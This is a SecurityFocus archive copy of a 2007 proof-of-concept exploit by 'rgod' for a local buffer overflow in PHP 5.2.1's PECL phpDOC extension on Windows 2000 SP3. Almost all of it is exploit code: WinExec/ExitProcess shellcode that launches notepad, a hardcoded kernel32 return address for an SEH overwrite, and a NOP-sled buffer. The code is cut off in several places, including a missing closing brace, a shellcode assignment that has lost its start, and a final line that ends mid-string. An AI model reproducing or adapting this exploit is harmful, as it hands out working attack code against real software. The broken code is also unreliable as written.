PHP 5.2.1 with PECL phpDOC local buffer overflow Mar 25 2007 12:06PM
retrog alice it
//PHP 5.2.1 with PECL phpDOC confirm_phpdoc_compiled() local buffer overflow poc exploit
//WIN 2K SP3 version / seh overwrite method
//to be launched from the cli

// by rgod
// site: http://retrogod.altervista.org

if (!extension_loaded("phpDOC")){
die("you need the phpDOC extension loaded.");

"\xbb\xca\x73\xe9\x77". //WinExec
"\xbb\x5c\xcf\xe9\x77". //ExitProcess
"start notepad & ";

//eip & ecx set to the same value ...
$eip="\x47\x30\xE9\x77";//0x77E93047 pop ECX - pop - retbis kernel32.dll
//and futher (junk...) inc edi, xor cl ch, *ja short*
//should work on sp4 if you find an usable address
$____suntzu=str_repeat("\x90",1393 - strlen($____scode)).$____scode.str_repeat("\x90",30).$eip.str_repeat("\x


original url: http://retrogod.altervista.org/php521_phpdoc_bof.html

[ reply ]


Privacy Statement
Copyright 2010, SecurityFocus